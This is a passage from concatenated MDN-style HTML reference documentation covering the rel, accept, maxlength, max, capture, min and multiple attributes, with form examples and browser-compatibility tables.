4.2 | 1.5 | | | Desktop | Mobile | | --- | --- | --- | | | Chrome | Edge | Firefox | Internet Explorer | Opera | Safari | WebView Android | Chrome Android | Firefox for Android | Opera Android | Safari on IOS | Samsung Internet | | `rel` | Yes | 12 | Yes | Yes | Yes | Yes | Yes | Yes | Yes | Yes | Yes | Yes | | `noopener` | 49 | 79 | 52 Before Firefox 63, `rel="noopener"` created windows with all features disabled by default. Starting with Firefox 63, these windows have the same features enabled by default as any other window. | No | 36 | 10.1 | 49 | 49 | 52 Before Firefox 63, `rel="noopener"` created windows with all features disabled by default. Starting with Firefox 63, these windows have the same features enabled by default as any other window. | 36 | 10.3 | 5.0 | | `noreferrer` | 16 | 13 | 33 | 11 Only supported in IE11 in later versions of Windows 10 (creators update). (Per caniuse.com.) | 15 | 5 | 3 | 18 | 33 | 14 | 4.2 | 1.5 | | | Desktop | Mobile | | --- | --- | --- | | | Chrome | Edge | Firefox | Internet Explorer | Opera | Safari | WebView Android | Chrome Android | Firefox for Android | Opera Android | Safari on IOS | Samsung Internet | | `rel` | 1 | 12 | 1 | Yes | Yes | Yes | Yes | Yes | 4 | Yes | Yes | Yes | | `alternate_stylesheet` | 1-48 | No | 3 | 8 | Yes | No | No | No | 4 | No | No | No | | `dns-prefetch` | 46 | ≤79 | 3 | No | 33 | No | 46 | Yes | 4 | No | No | Yes | | `icon` | 4 If both ICO and PNG are available, will use ICO over PNG if ICO has better matching sizes set. (Per caniuse.com.). | 12 In version 79 and later (Blink-based Edge), if both ICO and PNG are available, will use ICO over PNG if ICO has better matching sizes set. (Per caniuse.com.) | 2 Before Firefox 83, the `crossorigin` attribute is not supported for `rel="icon"`. | 11 | 9 In version 15 and later (Blink-based Opera), if both ICO and PNG are available, will use ICO over PNG if ICO has better matching sizes set. (Per caniuse.com.) | 3.1 If both ICO and PNG are available, will ALWAYS use ICO file, regardless of sizes set. (Per caniuse.com.) | 38 | 18 | 4 | No | No Does not use favicons at all (but may have alternative for bookmarks, etc.). (Per caniuse.com.) | 4.0 | | `manifest` | No | No | No | No | No | No | 39 | 39 | No | No | No | 4.0 | | `modulepreload` | 66 | ≤79 | No | No | 53 | No | 66 | 66 | No | 47 | No | 9.0 | | `preconnect` | 46 | 79 | 39 Before Firefox 41, it doesn't obey the `crossorigin` attribute. | No | 33 | 11.1 | 46 | 46 | 39 Before Firefox 41, it doesn't obey the `crossorigin` attribute. | 33 | 11.3 | 4.0 | | `prefetch` | 8 | 12 | 2 | 11 | 15 | No | 4.4 | 18 | 4 | 14 | No | 1.5 | | `preload` | 50 Doesn’t support `as="audio"`, `as="audioworklet"`, `as="document"`, `as="embed"`, `as="manifest"`, `as="object"`, `as="paintworklet"`, `as="report"`, `as="sharedworker"`, `as="video"`, `as="worker"`, or `as="xslt"`. | ≤79 Doesn’t support `as="audio"`, `as="audioworklet"`, `as="document"`, `as="embed"`, `as="manifest"`, `as="object"`, `as="paintworklet"`, `as="report"`, `as="sharedworker"`, `as="video"`, `as="worker"`, or `as="xslt"`. | 85 56-57 Disabled due to various web compatibility issues (e.g. [bug 1405761](https://bugzil.la/1405761)). | No | 37 | No | 50 `as="document"` is unsupported. See [bug 593267](https://crbug.com/593267). | 50 Doesn’t support `as="audio"`, `as="audioworklet"`, `as="document"`, `as="embed"`, `as="manifest"`, `as="object"`, `as="paintworklet"`, `as="report"`, `as="sharedworker"`, `as="video"`, `as="worker"`, or `as="xslt"`. | 85 56-57 Disabled due to various web compatibility issues (e.g. [bug 1405761](https://bugzil.la/1405761)). | No | No | 5.0 `as="document"` is unsupported. See [bug 593267](https://crbug.com/593267). | | `prerender` | 13 | 79 | No | 11 | 15 | No | 4.4 | 18 | No | 14 | No | 1.5 | ### html.elements.link.rel BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data. ### html.elements.a.rel BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data. ### html.elements.area.rel BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data. See also -------- * [`HTMLLinkElement.relList`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLLinkElement/relList) * [`HTMLAnchorElement.relList`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLAnchorElement/relList) * [`HTMLAreaElement.relList`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLAreaElement/relList)
programming_docs
html HTML attribute: accept HTML attribute: accept ====================== The `accept` attribute takes as its value a comma-separated list of one or more file types, or [unique file type specifiers](#unique_file_type_specifiers), describing which file types to allow. Try it ------ Overview -------- The accept property is an attribute of the [file](../element/input/file) [`<input>`](../element/input) type. It was supported on the [`<form>`](../element/form) element, but was removed in favor of [file](../element/input/file). Because a given file type may be identified in more than one manner, it's useful to provide a thorough set of type specifiers when you need files of specific type, or use the wild card to denote a type of any format is acceptable. For instance, there are a number of ways Microsoft Word files can be identified, so a site that accepts Word files might use an `<input>` like this: ``` <input type="file" id="docpicker" accept=".doc,.docx,application/msword,application/vnd.openxmlformats-officedocument.wordprocessingml.document" /> ``` Whereas if you're accepting a media file, you may want to be include any format of that media type: ``` <input type="file" id="soundFile" accept="audio/\*" /> <input type="file" id="videoFile" accept="video/\*" /> <input type="file" id="imageFile" accept="image/\*" /> ``` The `accept` attribute doesn't validate the types of the selected files; it provides hints for browsers to guide users towards selecting the correct file types. It is still possible (in most cases) for users to toggle an option in the file chooser that makes it possible to override this and select any file they wish, and then choose incorrect file types. Because of this, you should make sure that expected requirement is validated server-side. Examples -------- When set on a file input type, the native file picker that opens up should only enable selecting files of the correct file type. Most operating systems lighten the files that don't match the criteria and aren't selectable. ``` <p> <label for="soundFile">Select an audio file:</label> <input type="file" id="soundFile" accept="audio/\*" /> </p> <p> <label for="videoFile">Select a video file:</label> <input type="file" id="videoFile" accept="video/\*" /> </p> <p> <label for="imageFile">Select some images:</label> <input type="file" id="imageFile" accept="image/\*" multiple /> </p> ``` Note the last example allows you to select multiple images. See the [`multiple`](multiple) attribute for more information. Unique file type specifiers --------------------------- A **unique file type specifier** is a string that describes a type of file that may be selected by the user in an [`<input>`](../element/input) element of type `file`. Each unique file type specifier may take one of the following forms: * A valid case-insensitive filename extension, starting with a period (".") character. For example: `.jpg`, `.pdf`, or `.doc`. * A valid MIME type string, with no extensions. * The string `audio/*` meaning "any audio file". * The string `video/*` meaning "any video file". * The string `image/*` meaning "any image file". The `accept` attribute takes as its value a string containing one or more of these unique file type specifiers, separated by commas. For example, a file picker that needs content that can be presented as an image, including both standard image formats and PDF files, might look like this: ``` <input type="file" accept="image/\*,.pdf" /> ``` Using file inputs ----------------- ### A basic example ``` <form method="post" enctype="multipart/form-data"> <div> <label for="file">Choose file to upload</label> <input type="file" id="file" name="file" multiple /> </div> <div> <button>Submit</button> </div> </form> ``` This produces the following output: **Note:** You can find this example on GitHub too — see the [source code](https://github.com/mdn/learning-area/blob/main/html/forms/file-examples/simple-file.html), and also [see it running live](https://mdn.github.io/learning-area/html/forms/file-examples/simple-file.html). Regardless of the user's device or operating system, the file input provides a button that opens up a file picker dialog that allows the user to choose a file. Including the [`multiple`](multiple) attribute, as shown above, specifies that multiple files can be chosen at once. The user can choose multiple files from the file picker in any way that their chosen platform allows (e.g. by holding down `Shift` or `Control`, and then clicking). If you only want the user to choose a single file per `<input>`, omit the `multiple` attribute. ### Limiting accepted file types Often you won't want the user to be able to pick any arbitrary type of file; instead, you often want them to select files of a specific type or types. For example, if your file input lets users upload a profile picture, you probably want them to select web-compatible image formats, such as [JPEG](https://developer.mozilla.org/en-US/docs/Glossary/JPEG) or [PNG](https://developer.mozilla.org/en-US/docs/Glossary/PNG). Acceptable file types can be specified with the [`accept`](../element/input/file#attr-accept) attribute, which takes a comma-separated list of allowed file extensions or MIME types. Some examples: * `accept="image/png"` or `accept=".png"` — Accepts PNG files. * `accept="image/png, image/jpeg"` or `accept=".png, .jpg, .jpeg"` — Accept PNG or JPEG files. * `accept="image/*"` — Accept any file with an `image/*` MIME type. (Many mobile devices also let the user take a picture with the camera when this is used.) * `accept=".doc,.docx,.xml,application/msword,application/vnd.openxmlformats-officedocument.wordprocessingml.document"` — accept anything that smells like an MS Word document. Let's look at a more complete example: ``` <form method="post" enctype="multipart/form-data"> <div> <label for="profile\_pic">Choose file to upload</label> <input type="file" id="profile\_pic" name="profile\_pic" accept=".jpg, .jpeg, .png" /> </div> <div> <button>Submit</button> </div> </form> ``` Specifications -------------- | Specification | | --- | | [HTML Standard # attr-input-accept](https://html.spec.whatwg.org/multipage/input.html#attr-input-accept) | Browser compatibility --------------------- | | Desktop | Mobile | | --- | --- | --- | | | Chrome | Edge | Firefox | Internet Explorer | Opera | Safari | WebView Android | Chrome Android | Firefox for Android | Opera Android | Safari on IOS | Samsung Internet | | `accept` | 1 | 12 | 1 | 6 | ≤12.1 | 1 | 4.4 | 18 | 4 | ≤12.1 | 1 | 1.0 | See also -------- * [Using files from web applications](https://developer.mozilla.org/en-US/docs/Web/API/File_API/Using_files_from_web_applications) * [File API](https://developer.mozilla.org/en-US/docs/Web/API/File) html HTML attribute: maxlength HTML attribute: maxlength ========================= The `maxlength` attribute defines the maximum number of characters (as UTF-16 code units) the user can enter into an [`<input>`](../element/input) or [`<textarea>`](../element/textarea). This must be an integer value 0 or higher. If no maxlength is specified, or an invalid value is specified, the input or textarea has no maximum length. Any `maxlength` value must be greater than or equal to the value of [`minlength`](minlength), if present and valid. The input will fail constraint validation if the length of the text value of the field is greater than maxlength UTF-16 code units long. Constraint validation is only applied when the value is changed by the user. ### Constraint validation While the browser will generally prevent user from entering more text than the maxlength attribute allows, should the length be longer than the maxlength allows, the read-only [`tooLong`](https://developer.mozilla.org/en-US/docs/Web/API/ValidityState/tooLong) property of a [`ValidityState`](https://developer.mozilla.org/en-US/docs/Web/API/ValidityState) object will be true. Try it ------ Examples -------- ``` <input type="password" maxlength="4" /> ``` Specifications -------------- | Specification | | --- | | [HTML Standard # the-maxlength-and-minlength-attributes](https://html.spec.whatwg.org/multipage/input.html#the-maxlength-and-minlength-attributes) | Browser compatibility --------------------- | | Desktop | Mobile | | --- | --- | --- | | | Chrome | Edge | Firefox | Internet Explorer | Opera | Safari | WebView Android | Chrome Android | Firefox for Android | Opera Android | Safari on IOS | Samsung Internet | | `maxlength` | 4 | 12 | 4 | 10 | ≤12.1 | 5 | ≤37 | 18 | 4 | ≤12.1 | 5 | 1.0 | | | Desktop | Mobile | | --- | --- | --- | | | Chrome | Edge | Firefox | Internet Explorer | Opera | Safari | WebView Android | Chrome Android | Firefox for Android | Opera Android | Safari on IOS | Samsung Internet | | `maxlength` | 1 | 12 | 1 | 5.5 | ≤12.1 | 1 | 4.4 | 18 | 4 | ≤12.1 | 1 | 1.0 | ### html.elements.input.maxlength BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data. ### html.elements.textarea.maxlength BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data. See also -------- * [`minlength`](minlength) * [`size`](size) * [`pattern`](pattern) * [Constraint validation](../constraint_validation) * [Form validation](https://developer.mozilla.org/en-US/docs/Learn/Forms/Form_validation) * [`<input>`](../element/input) html HTML attribute: max HTML attribute: max =================== The `max` attribute defines the maximum value that is acceptable and valid for the input containing the attribute. If the [`value`](../element/input#value) of the element is greater than this, the element fails [validation](https://developer.mozilla.org/en-US/docs/Learn/Forms/Form_validation). This value must be greater than or equal to the value of the [`min`](min) attribute. If the `max` attribute is present by is not specified or is invalid, no `max` value is applied. If the `max` attribute is valid and a non-empty value is greater than the maximum allowed by the `max` attribute, constraint validation will prevent form submission. Valid for the numeric input types, including the [date](../element/input/date), [month](../element/input/month), [week](../element/input/week), [time](../element/input/time), [datetime-local](../element/input/datetime-local), [number](../element/input/number) and [range](../element/input/range) types, and both the [`<progress>`](../element/progress) and [`<meter>`](../element/meter) elements, the `max` attribute is a number that specifies the most positive value a form control to be considered valid. If the value exceeds the max value allowed, the [`validityState.rangeOverflow`](https://developer.mozilla.org/en-US/docs/Web/API/ValidityState/rangeOverflow) will be true, and the control will be matched by the [`:out-of-range`](https://developer.mozilla.org/en-US/docs/Web/CSS/:out-of-range) and [`:invalid`](https://developer.mozilla.org/en-US/docs/Web/CSS/:invalid) pseudo-classes. ### Syntax Syntax for `max` values by input `type` | Input type | Syntax | Example | | --- | --- | --- | | [date](../element/input/date) | `yyyy-mm-dd` | `<input type="date" max="2019-12-25" step="1">` | | [month](../element/input/month) | `yyyy-mm` | `<input type="month" max="2019-12" step="12">` | | [week](../element/input/week) | `yyyy-W##` | `<input type="week" max="2019-W23" step="">` | | [time](../element/input/time) | `hh:mm` | `<input type="time" max="17:00" step="900">` | | [datetime-local](../element/input/datetime-local) | `yyyy-mm-ddThh:mm` | `<input type="datetime-local" max="2019-12-25T23:59">` | | [number](../element/input/number) | [<number>](https://developer.mozilla.org/en-US/docs/Web/CSS/number) | `<input type="number" min="0" step="5" max="100">` | | [range](../element/input/range) | [<number>](https://developer.mozilla.org/en-US/docs/Web/CSS/number) | `<input type="range" min="60" step="5" max="100">` | **Note:** When the data entered by the user doesn't adhere to the maximum value set, the value is considered invalid in constraint validation and will match the [`:invalid`](https://developer.mozilla.org/en-US/docs/Web/CSS/:invalid) and [`:out-of-range`](https://developer.mozilla.org/en-US/docs/Web/CSS/:out-of-range) pseudo-classes. See [Client-side validation](../constraint_validation) and [`rangeOverflow`](https://developer.mozilla.org/en-US/docs/Web/API/ValidityState/rangeOverflow) for more information. For the [`<progress>`](../element/progress) element, the `max` attribute describes how much work the task indicated by the `progress` element requires. If present, must have a value greater than zero and be a valid floating point number. For the [`<meter>`](../element/meter) element, the `max` attribute defines the upper numeric bound of the measured range. This must be greater than the minimum value ([`min`](min) attribute), if specified. In both cases, if omitted, the value defaults to 1. Syntax for `max` values for other elements | Input type | Syntax | Example | | --- | --- | --- | | [`<progress>`](../element/progress) | [<number>](https://developer.mozilla.org/en-US/docs/Web/CSS/number) | `<progress id="file" max="100" value="70"> 70% </progress>` | | [`<meter>`](../element/meter) | [<number>](https://developer.mozilla.org/en-US/docs/Web/CSS/number) | `<meter id="fuel" min="0" max="100" low="33" high="66" optimum="80" value="40"> at 40/100</meter>` | Accessibility concerns ---------------------- Provide instructions to help users understand how to complete the form and use individual form controls. Indicate any required and optional input, data formats, and other relevant information. When using the `max` attribute, ensure this maximum requirement is understood by the user. Providing instructions within the [`<label>`](../element/label) may be sufficient. If providing instructions outside of labels, which allows more flexible positioning and design, consider using [`aria-labelledby`](https://developer.mozilla.org/en-US/docs/Web/Accessibility/ARIA/Attributes/aria-labelledby) or [`aria-describedby`](https://developer.mozilla.org/en-US/docs/Web/Accessibility/ARIA/Attributes/aria-describedby). Specifications -------------- | Specification | | --- | | [HTML Standard # the-min-and-max-attributes](https://html.spec.whatwg.org/multipage/input.html#the-min-and-max-attributes) | | [HTML Standard # attr-meter-max](https://html.spec.whatwg.org/multipage/form-elements.html#attr-meter-max) | | [HTML Standard # attr-progress-max](https://html.spec.whatwg.org/multipage/form-elements.html#attr-progress-max) | Browser compatibility --------------------- | | Desktop | Mobile | | --- | --- | --- | | | Chrome | Edge | Firefox | Internet Explorer | Opera | Safari | WebView Android | Chrome Android | Firefox for Android | Opera Android | Safari on IOS | Samsung Internet | | `max` | 6 | 12 | 6 | 10 | 11 | 6 | Yes | Yes | 6 | 11 | 7 | Yes | | | Desktop | Mobile | | --- | --- | --- | | | Chrome | Edge | Firefox | Internet Explorer | Opera | Safari | WebView Android | Chrome Android | Firefox for Android | Opera Android | Safari on IOS | Samsung Internet | | `max` | 6 | ≤18 | 16 | No | 11 | 6 | No | 18 | 16 | 11 | 10.3 | 1.0 | | | Desktop | Mobile | | --- | --- | --- | | | Chrome | Edge | Firefox | Internet Explorer | Opera | Safari | WebView Android | Chrome Android | Firefox for Android | Opera Android | Safari on IOS | Samsung Internet | | `max` | 4 | 12 | 16 | 10 | ≤12.1 | 5 | ≤37 | 18 | 16 | ≤12.1 | 4 | 1.0 | ### html.elements.input.max BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data. ### html.elements.meter.max BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data. ### html.elements.progress.max BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data. See also -------- * [`step`](step) * [`min`](min) * other meter attributes: [`low`](https://developer.mozilla.org/en-US/docs/Web/HTML/Attributes/low), [`high`](https://developer.mozilla.org/en-US/docs/Web/HTML/Attributes/high), [`optimum`](https://developer.mozilla.org/en-US/docs/Web/HTML/Attributes/optimum) * [Constraint validation](../constraint_validation) * [Form validation](https://developer.mozilla.org/en-US/docs/Learn/Forms/Form_validation) * [`validityState.rangeOverflow`](https://developer.mozilla.org/en-US/docs/Web/API/ValidityState/rangeOverflow) * [`:out-of-range`](https://developer.mozilla.org/en-US/docs/Web/CSS/:out-of-range) * [`<input>`](../element/input) * [date](../element/input/date), [month](../element/input/month), [week](../element/input/week), [time](../element/input/time), [datetime-local](../element/input/datetime-local), [number](../element/input/number) and [range](../element/input/range) types, and the [`<meter>`](../element/meter) html HTML attribute: capture HTML attribute: capture ======================= The `capture` attribute specifies that, optionally, a new file should be captured, and which device should be used to capture that new media of a type defined by the [`accept`](accept) attribute. Values include `user` and `environment`. The capture attribute is supported on the [file](../element/input/file) input type. The `capture` attribute takes as its value a string that specifies which camera to use for capture of image or video data, if the <accept> attribute indicates that the input should be of one of those types. | Value | Description | | --- | --- | | `user` | The user-facing camera and/or microphone should be used. | | `environment` | The outward-facing camera and/or microphone should be used | **Note:** Capture was previously a Boolean attribute which, if present, requested that the device's media capture device(s) such as camera or microphone be used instead of requesting a file input. Try it ------ Examples -------- When set on a file input type, operating systems with microphones and cameras will display a user interface allowing the selection from an existing file or the creating of a new one. ``` <p> <label for="soundFile">What does your voice sound like?:</label> <input type="file" id="soundFile" capture="user" accept="audio/\*" /> </p> <p> <label for="videoFile">Upload a video:</label> <input type="file" id="videoFile" capture="environment" accept="video/\*" /> </p> <p> <label for="imageFile">Upload a photo of yourself:</label> <input type="file" id="imageFile" capture="user" accept="image/\*" /> </p> ``` Note these work better on mobile devices; if your device is a desktop computer, you'll likely get a typical file picker. Specifications -------------- | Specification | | --- | | [HTML Media Capture # the-capture-attribute](https://w3c.github.io/html-media-capture/#the-capture-attribute) | Browser compatibility --------------------- | | Desktop | Mobile | | --- | --- | --- | | | Chrome | Edge | Firefox | Internet Explorer | Opera | Safari | WebView Android | Chrome Android | Firefox for Android | Opera Android | Safari on IOS | Samsung Internet | | `capture` | No | No | No | No | No | No | 4.4 | 25 | 79 | 14 | 10 | 1.5 | See also -------- * [Using files from web applications](https://developer.mozilla.org/en-US/docs/Web/API/File_API/Using_files_from_web_applications) * [File API](https://developer.mozilla.org/en-US/docs/Web/API/File) * [`HTMLInputElement.files`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement/files) html HTML attribute: min HTML attribute: min =================== The `min` attribute defines the minimum value that is acceptable and valid for the input containing the attribute. If the [`value`](../element/input#value) of the element is less than this, the element fails [validation](https://developer.mozilla.org/en-US/docs/Learn/Forms/Form_validation). This value must be less than or equal to the value of the `max` attribute. Some input types have a default minimum. If the input has no default minimum and a value is specified for `min` that can't be converted to a valid number (or no minimum value is set), the input has no minimum value. It is valid for the input types including: [date](../element/input/date), [month](../element/input/month), [week](../element/input/week), [time](../element/input/time), [datetime-local](../element/input/datetime-local), [number](../element/input/number) and [range](../element/input/range) types, and the [`<meter>`](../element/meter) element. ### Syntax Syntax for `min` values by input `type` | Input type | Syntax | Example | | --- | --- | --- | | [date](../element/input/date) | `yyyy-mm-dd` | `<input type="date" min="2019-12-25" step="1">` | | [month](../element/input/month) | `yyyy-mm` | `<input type="month" min="2019-12" step="12">` | | [week](../element/input/week) | `yyyy-W##` | `<input type="week" min="2019-W23" step="">` | | [time](../element/input/time) | `hh:mm` | `<input type="time" min="09:00" step="900">` | | [datetime-local](../element/input/datetime-local) | `yyyy-mm-ddThh:mm` | `<input type="datetime-local" min="2019-12-25T19:30">` | | [number](../element/input/number) | [<number>](https://developer.mozilla.org/en-US/docs/Web/CSS/number) | `<input type="number" min="0" step="5" max="100">` | | [range](../element/input/range) | [<number>](https://developer.mozilla.org/en-US/docs/Web/CSS/number) | `<input type="range" min="60" step="5" max="100">` | **Note:** When the data entered by the user doesn't adhere to the min value set, the value is considered invalid in constraint validation and will match the [`:invalid`](https://developer.mozilla.org/en-US/docs/Web/CSS/:invalid) and [`:out-of-range`](https://developer.mozilla.org/en-US/docs/Web/CSS/:out-of-range) pseudo-classes. See [Client-side validation](../constraint_validation) and [`rangeUnderflow`](https://developer.mozilla.org/en-US/docs/Web/API/ValidityState/rangeUnderflow) for more information. For the [`<meter>`](../element/meter) element, the `min` attribute defines the lower numeric bound of the measured range. This must be less than the minimum value ([`max`](max) attribute), if specified. In both cases, if omitted, the value defaults to 1. Syntax for `min` values for other elements | Input type | Syntax | Example | | --- | --- | --- | | [`<meter>`](../element/meter) | [<number>](https://developer.mozilla.org/en-US/docs/Web/CSS/number) | `<meter id="fuel" min="0" max="100" low="33" high="66" optimum="80" value="40"> at 40/100</meter>` | ### Impact on step The value of `min` and `step` define what are valid values, even if the `step` attribute is not included, as `step` defaults to `0`. We add a big red border around invalid inputs: ``` input:invalid { border: solid red 3px; } ``` Then define an input with a minimum value of 7.2, omitting the step attribute, wherein it defaults to 1. ``` <input id="myNumber" name="myNumber" type="number" min="7.2" value="8" /> ``` Because `step` defaults to 1, valid values include `7.2`, `8.2`, `9.2`, and so on. The value 8 is not valid. As we included an invalid value, supporting browsers will show the value as invalid. If not explicitly included, `step` defaults to 1 for `number` and `range`, and 1 unit type (second, week, month, day) for the date/time input types. Accessibility concerns ---------------------- Provide instructions to help users understand how to complete the form and use individual form controls. Indicate any required and optional input, data formats, and other relevant information. When using the `min` attribute, ensure this minimum requirement is understood by the user. Providing instructions within the [`<label>`](../element/label) may be sufficient. If providing instructions outside of labels, which allows more flexible positioning and design, consider using [`aria-labelledby`](https://developer.mozilla.org/en-US/docs/Web/Accessibility/ARIA/Attributes/aria-labelledby) or [`aria-describedby`](https://developer.mozilla.org/en-US/docs/Web/Accessibility/ARIA/Attributes/aria-describedby). Specifications -------------- | Specification | | --- | | [HTML Standard # the-min-and-max-attributes](https://html.spec.whatwg.org/multipage/input.html#the-min-and-max-attributes) | | [HTML Standard # attr-meter-max](https://html.spec.whatwg.org/multipage/form-elements.html#attr-meter-max) | Browser compatibility --------------------- | | Desktop | Mobile | | --- | --- | --- | | | Chrome | Edge | Firefox | Internet Explorer | Opera | Safari | WebView Android | Chrome Android | Firefox for Android | Opera Android | Safari on IOS | Samsung Internet | | `min` | 6 | ≤18 | 16 | No | 11 | 6 | No | 18 | 16 | 11 | 10.3 | 1.0 | | | Desktop | Mobile | | --- | --- | --- | | | Chrome | Edge | Firefox | Internet Explorer | Opera | Safari | WebView Android | Chrome Android | Firefox for Android | Opera Android | Safari on IOS | Samsung Internet | | `min` | 4 | 12 | 16 | 10 | ≤12.1 | 5 | ≤37 | 18 | 16 | ≤12.1 | 4 | 1.0 | ### html.elements.input.min BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data. ### html.elements.meter.min BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data. See also -------- * [`step`](step) * [`max`](max) * other meter attributes: [`low`](https://developer.mozilla.org/en-US/docs/Web/HTML/Attributes/low), [`high`](https://developer.mozilla.org/en-US/docs/Web/HTML/Attributes/high), [`optimum`](https://developer.mozilla.org/en-US/docs/Web/HTML/Attributes/optimum) * [Constraint validation](../constraint_validation) * [Form validation](https://developer.mozilla.org/en-US/docs/Learn/Forms/Form_validation) * [`validityState.rangeUnderflow`](https://developer.mozilla.org/en-US/docs/Web/API/ValidityState/rangeUnderflow) * [`:out-of-range`](https://developer.mozilla.org/en-US/docs/Web/CSS/:out-of-range) * [`<input>`](../element/input) * [date](../element/input/date), [month](../element/input/month), [week](../element/input/week), [time](../element/input/time), [datetime-local](../element/input/datetime-local), [number](../element/input/number) and [range](../element/input/range) types, and the [`<meter>`](../element/meter)
programming_docs
html HTML attribute: multiple HTML attribute: multiple ======================== The Boolean `multiple` attribute, if set, means the form control accepts one or more values. Valid for the [email](../element/input/email) and [file](../element/input/file) input types and the [`<select>`](../element/select), the manner by which the user opts for multiple values depends on the form control. Try it ------ Overview -------- Depending on the type, the form control may have a different appearance if the `multiple` attribute is set. For the file input type, the native messaging the browser provides differs. In Firefox, the file input reads "No files selected" when the attribute is present and "No file selected" when not, when no files are selected. Most browsers displaying a scrolling list box for a [`<select>`](../element/select) control with the `multiple` attribute set versus a single line dropdown when the attribute is omitted. The [email](../element/input/email) input displays the same, but will match the [`:invalid`](https://developer.mozilla.org/en-US/docs/Web/CSS/:invalid) pseudo-class if more than one comma-separated email address is included if the attribute is not present. When `multiple` is set on the [email](../element/input/email) input type, the user can include zero (if not also [`required`](required)), one or more comma-separated email addresses. ``` <input type="email" multiple name="emails" id="emails" /> ``` If and only if the `multiple` attribute is specified, the value can be a list of properly-formed comma-separated email addresses. Any trailing and leading whitespace is removed from each address in the list. When `multiple` is set on the [file](../element/input/file) input type, the user can select one or more files. The user can choose multiple files from the file picker in any way that their chosen platform allows (e.g. by holding down `Shift` or `Control`, and then clicking). ``` <input type="file" multiple name="uploads" id="uploads" /> ``` When the attribute is omitted, the user can only select a single file per `<input>`. The `multiple` attribute on the [`<select>`](../element/select) element represents a control for selecting zero or more options from the list of options. Otherwise, the [`<select>`](../element/select) element represents a control for selecting a single [`<option>`](../element/option) from the list of options. ``` <select multiple name="dwarfs" id="dwarfs"> <option>Grumpy</option> <option>Happy</option> <option>Sleepy</option> <option>Bashful</option> <option>Sneezy</option> <option>Dopey</option> <option>Doc</option> </select> ``` When `multiple` is specified, most browsers will show a scrolling list box instead of a single line dropdown. Accessibility concerns ---------------------- Provide instructions to help users understand how to complete the form and use individual form controls. Indicate any required and optional input, data formats, and other relevant information. When using the `multiple` attribute, inform the user that multiple values are allowed and provide directions on how to provide multiple values, such as "separate email addresses with a comma." Setting `size="1"` on a multiple select can make it appear as a single select in some browsers, but then it doesn't expand on focus, harming usability. Don't do that. If you do change the appearance of a select, and even if you don't, make sure to inform the user that more than one option can be selected by another method. Examples -------- ### email input ``` <label for="emails">Who do you want to email?</label> <input type="email" multiple name="emails" id="emails" list="dwarf-emails" required size="64" /> <datalist id="dwarf-emails"> <option value="[email protected]">Grumpy</option> <option value="[email protected]">Happy</option> <option value="[email protected]">Sleepy</option> <option value="[email protected]">Bashful</option> <option value="[email protected]">Sneezy</option> <option value="[email protected]">Dopey</option> <option value="[email protected]">Doc</option> </datalist> ``` If and only if the `multiple` attribute is specified, the value can be a list of properly-formed comma-separated email addresses. Any trailing and leading whitespace is removed from each address in the list. If the [`required`](required) attribute is present, at least one email address is required. Some browsers support the appearance of the [`list`](https://developer.mozilla.org/en-US/docs/Web/HTML/Attributes/list) of options from the associated [`<datalist>`](../element/datalist) for subsequent email addresses when `multiple` is present. Others do not. ### file input When `multiple` is set on the [file](../element/input/file) input type, the user can select one or more files: ``` <form method="post" enctype="multipart/form-data"> <p> <label for="uploads"> Choose the images you want to upload: </label> <input type="file" id="uploads" name="uploads" accept=".jpg, .jpeg, .png, .svg, .gif" multiple /> </p> <p> <label for="text">Pick a text file to upload: </label> <input type="file" id="text" name="text" accept=".txt" /> </p> <p> <input type="submit" value="Submit" /> </p> </form> ``` Note the difference in appearance between the example with `multiple` set and the other `file` input without. When the form is submitted, had we used [`method="get"`](../element/form) each selected file's name would have been added to URL parameters as`?uploads=img1.jpg&uploads=img2.svg`. However, since we are submitting [multipart](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest/multipart) form data, we much use post. See the [`<form>`](../element/form) element and [sending form data](https://developer.mozilla.org/en-US/docs/Learn/Forms/Sending_and_retrieving_form_data#the_method_attribute) for more information. ### select The `multiple` attribute on the [`<select>`](../element/select) element represents a control for selecting zero or more options from the list of options. Otherwise, the [`<select>`](../element/select) element represents a control for selecting a single [`<option>`](../element/option) from the list of options. The control generally has a different appearance based on the presence of the multiple attribute, with most browsers displaying a scrolling list box instead of a single line dropdown when the attribute is present. ``` <form method="get" action="#"> <p> <label for="dwarfs">Select the dwarf woodsman you like:</label> <select multiple name="dwarfs" id="dwarfs"> <option>[email protected]</option> <option>[email protected]</option> <option>[email protected]</option> <option>[email protected]</option> <option>[email protected]</option> <option>[email protected]</option> <option>[email protected]</option> </select> </p> <p> <label for="favoriteOnly">Select your favorite:</label> <select name="favoriteOnly" id="favoriteOnly"> <option>[email protected]</option> <option>[email protected]</option> <option>[email protected]</option> <option>[email protected]</option> <option>[email protected]</option> <option>[email protected]</option> <option>[email protected]</option> </select> </p> <p> <input type="submit" value="Submit" /> </p> </form> ``` Note the difference in appearance between the two form controls. ``` /\* uncomment this CSS to make the multiple the same height as the single \*/ /\* select[multiple] { height: 1.5em; vertical-align: top; } select[multiple]:focus, select[multiple]:active { height: auto; } \*/ ``` There are a few ways to select multiple options in a `<select>` element with a `multiple` attribute. Depending on the operating system, mouse users can hold the `Ctrl`, `Command`, or `Shift` keys and then click multiple options to select/deselect them. Keyboard users can select multiple contiguous items by focusing on the `<select>` element, selecting an item at the top or bottom of the range they want to select using the `Up` and `Down` cursor keys to go up and down the options. The selection of non-contiguous is not as well-supported: items should be able to be selected and deselected by pressing `Space`, but support varies between browsers. Specifications -------------- | Specification | | --- | | [HTML Standard # attr-input-multiple](https://html.spec.whatwg.org/multipage/input.html#attr-input-multiple) | See also -------- * [`<input>`](../element/input) * [`<select>`](../element/select) * [Allowing multiple email addresses](../element/input/email#allowing_multiple_email_addresses) html HTML attribute: autocomplete HTML attribute: autocomplete ============================ The HTML `autocomplete` attribute lets web developers specify what if any 